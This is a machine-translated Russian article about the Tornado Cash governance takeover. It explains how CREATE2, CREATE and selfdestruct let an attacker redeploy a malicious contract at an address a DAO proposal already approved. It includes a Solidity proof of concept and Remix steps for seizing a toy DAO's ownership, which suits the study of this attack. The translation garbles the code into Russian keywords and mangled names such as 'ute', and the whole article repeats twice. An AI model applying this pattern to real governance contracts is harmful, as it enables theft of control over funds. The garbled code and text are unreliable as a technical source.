Около двух недель назад (20 мая) известный протокол смешивания валют Tornado Cash подвергся атаке управления, и хакеры получили контроль (владелец) контракта управления Tornado Cash.
Процесс атаки выглядит следующим образом: злоумышленник сначала подает «нормально выглядящее» предложение, после того, как предложение будет передано, уничтожает адрес контракта, который должен быть выполнен по предложению, и воссоздает контракт атаки по адресу.
Для процесса атаки вы можете просмотреть Анализ принципа атаки Tornado.Cash Proposal SharkTeam. [1] 。
Ключом к атаке здесь является развертывание разных контрактов одного и того же адреса. Как это достигается?
жизненный опыт
В EVM есть два кода операции для создания контрактов: CREATE и CREATE2.
СОЗДАТЬ код операции
При использовании new Token() для использования кода операции CREATE функция расчета адреса созданного контракта выглядит следующим образом:
адрес tokenAddr = bytes20(keccak256(senderAddress, nonce))
Адрес созданного контракта определяется как адрес создателя + номер создателя (количество созданных контрактов), так как нонс всегда увеличивается постепенно, при увеличении нонса адрес созданного контракта всегда разный.
Код операции CREATE2
При добавлении соли new Token{salt: bytes32()}() используется код операции CREATE2, а функция расчета адреса созданного контракта:
адрес tokenAddr = bytes20 (keccak256 (0xFF, senderAddress, соль, байт-код))
Адрес созданного контракта: адрес создателя + пользовательская соль + байт-код развертываемого смарт-контракта, поэтому можно использовать только один и тот же байт-код и одно и то же значение соли. Может быть развернут по тому же договорному адресу.
Так как же можно развернуть разные контракты по одному и тому же адресу?
Метод атаки
Злоумышленник использует Create2 и Create вместе для создания контракта, как показано на рисунке:
Код, на который ссылается:
Сначала используйте Create2 для развертывания Deployer контракта, затем используйте Create in Deployer для создания целевого предложения контракта (для использования в предложении). Контракты Deployer и Proposal имеют реализации самоуничтожения (selfdestruct).
После того, как предложение передано, злоумышленник уничтожает контракты Deployer и Proposal, а затем повторно создает Deployer с тем же slat.Байт-код Deployer остается тем же, и slat тот же, поэтому тот же адрес контракта Deployer, что и раньше, будет быть получен, но в это время Deployer Состояние контракта очищается, а одноразовый номер начинается с 0, поэтому с использованием этого одноразового номера может быть создана другая Атака контракта.
Пример кода атаки
Этот код взят из:
// SPDX-идентификатор лицензии: MIT
прочность прагмы ^0,8,17;
договор ДАО {
структура предложения {
адресная цель;
логический одобрен;
логический;
}
публичный владелец адреса = msg.sender;
Предложение[] публичные предложения;
функция одобряет (целевой адрес) внешний {
требуют(msg.sender == владелец, "не авторизован");
предложения.push(Предложение({цель: цель, утверждено: правда, проверено: ложь}));
}
функция ute(uint256 offerId) внешняя кредиторская задолженность {
Предложение по хранению предложений = предложения [proposalId] ;
требуют(предложение.одобрено, "не одобрено");
требуют(!proposal.uted, "uted");
предложение.uted = правда;
(bool ok, ) = offer.target.delegatecall(
abi.encodeWithSignature("uteProposal()")
);
require(ok, "делегатный вызов не удался");
}
}
контракт Предложение {
Журнал событий (строковое сообщение);
функция uteProposal() внешняя {
emit Log("Выполненный код одобрен DAO");
}
функция EmergencyStop() внешняя {
самоуничтожение (оплачивается (адрес (0)));
}
}
контракт Атака {
Журнал событий (строковое сообщение);
адрес государственного собственника;
функция uteProposal() внешняя {
emit Log("Выполненный код не одобрен DAO :)");
// Например, установить владельца DAO в качестве злоумышленника
владелец = msg.sender;
}
}
контракт DeployerDeployer {
Журнал событий (адрес адрес);
функция развертывания () внешняя {
bytes32 соль = keccak256 (abi.encode (uint (123)));
адрес addr = адрес (новый Deployer {соль: соль}());
выдать журнал (адрес);
}
}
заказчик контракта {
Журнал событий (адрес адрес);
функция deployProposal() внешняя {
адрес addr = адрес (новое предложение ());
выдать журнал (адрес);
}
функция deployAttack() внешняя {
адрес addr = адрес (новая атака ());
выдать журнал (адрес);
}
функция kill () внешняя {
самоуничтожение (оплачивается (адрес (0)));
}
}
Вы можете использовать этот код, чтобы пройти его самостоятельно в Remix.
Сначала разверните DeployerDeployer, вызовите DeployerDeployer.deploy() для развертывания Deployer, а затем вызовите Deployer.deployProposal() для развертывания предложения.
После получения адреса контракта предложения предложения инициируйте предложение в DAO.
Вызовите Deployer.kill и Proposal.emergencyStop соответственно, чтобы уничтожить Deployer и Proposal.
Вызовите DeployerDeployer.deploy() еще раз, чтобы развернуть Deployer, вызовите Deployer.deployAttack(), чтобы развернуть Attack, и Attack будет соответствовать предыдущему предложению.
При выполнении DAO.ute атака получила разрешение владельца DAO.
Посмотреть Оригинал
Содержание носит исключительно справочный характер и не является предложением или офертой. Консультации по инвестициям, налогообложению или юридическим вопросам не предоставляются. Более подробную информацию о рисках см. в разделе «Дисклеймер».
Tornado Governance Attack: как развернуть разные контракты на одном и том же адресе
Около двух недель назад (20 мая) известный протокол смешивания валют Tornado Cash подвергся атаке управления, и хакеры получили контроль (владелец) контракта управления Tornado Cash.
Процесс атаки выглядит следующим образом: злоумышленник сначала подает «нормально выглядящее» предложение, после того, как предложение будет передано, уничтожает адрес контракта, который должен быть выполнен по предложению, и воссоздает контракт атаки по адресу.
Для процесса атаки вы можете просмотреть Анализ принципа атаки Tornado.Cash Proposal SharkTeam. [1] 。
Ключом к атаке здесь является развертывание разных контрактов одного и того же адреса. Как это достигается?
жизненный опыт
В EVM есть два кода операции для создания контрактов: CREATE и CREATE2.
СОЗДАТЬ код операции
При использовании new Token() для использования кода операции CREATE функция расчета адреса созданного контракта выглядит следующим образом:
адрес tokenAddr = bytes20(keccak256(senderAddress, nonce))
Адрес созданного контракта определяется как адрес создателя + номер создателя (количество созданных контрактов), так как нонс всегда увеличивается постепенно, при увеличении нонса адрес созданного контракта всегда разный.
Код операции CREATE2
При добавлении соли new Token{salt: bytes32()}() используется код операции CREATE2, а функция расчета адреса созданного контракта:
адрес tokenAddr = bytes20 (keccak256 (0xFF, senderAddress, соль, байт-код))
Адрес созданного контракта: адрес создателя + пользовательская соль + байт-код развертываемого смарт-контракта, поэтому можно использовать только один и тот же байт-код и одно и то же значение соли. Может быть развернут по тому же договорному адресу.
Так как же можно развернуть разные контракты по одному и тому же адресу?
Метод атаки
Злоумышленник использует Create2 и Create вместе для создания контракта, как показано на рисунке:
Сначала используйте Create2 для развертывания Deployer контракта, затем используйте Create in Deployer для создания целевого предложения контракта (для использования в предложении). Контракты Deployer и Proposal имеют реализации самоуничтожения (selfdestruct).
После того, как предложение передано, злоумышленник уничтожает контракты Deployer и Proposal, а затем повторно создает Deployer с тем же slat.Байт-код Deployer остается тем же, и slat тот же, поэтому тот же адрес контракта Deployer, что и раньше, будет быть получен, но в это время Deployer Состояние контракта очищается, а одноразовый номер начинается с 0, поэтому с использованием этого одноразового номера может быть создана другая Атака контракта.
Пример кода атаки
Этот код взят из:
// SPDX-идентификатор лицензии: MIT прочность прагмы ^0,8,17; договор ДАО { структура предложения { адресная цель; логический одобрен; логический; } публичный владелец адреса = msg.sender; Предложение[] публичные предложения; функция одобряет (целевой адрес) внешний { требуют(msg.sender == владелец, "не авторизован"); предложения.push(Предложение({цель: цель, утверждено: правда, проверено: ложь})); } функция ute(uint256 offerId) внешняя кредиторская задолженность { Предложение по хранению предложений = предложения [proposalId] ; требуют(предложение.одобрено, "не одобрено"); требуют(!proposal.uted, "uted"); предложение.uted = правда; (bool ok, ) = offer.target.delegatecall( abi.encodeWithSignature("uteProposal()") ); require(ok, "делегатный вызов не удался"); } } контракт Предложение { Журнал событий (строковое сообщение); функция uteProposal() внешняя { emit Log("Выполненный код одобрен DAO"); } функция EmergencyStop() внешняя { самоуничтожение (оплачивается (адрес (0))); } } контракт Атака { Журнал событий (строковое сообщение); адрес государственного собственника; функция uteProposal() внешняя { emit Log("Выполненный код не одобрен DAO :)"); // Например, установить владельца DAO в качестве злоумышленника владелец = msg.sender; } } контракт DeployerDeployer { Журнал событий (адрес адрес); функция развертывания () внешняя { bytes32 соль = keccak256 (abi.encode (uint (123))); адрес addr = адрес (новый Deployer {соль: соль}()); выдать журнал (адрес); } } заказчик контракта { Журнал событий (адрес адрес); функция deployProposal() внешняя { адрес addr = адрес (новое предложение ()); выдать журнал (адрес); } функция deployAttack() внешняя { адрес addr = адрес (новая атака ()); выдать журнал (адрес); } функция kill () внешняя { самоуничтожение (оплачивается (адрес (0))); } }
Вы можете использовать этот код, чтобы пройти его самостоятельно в Remix.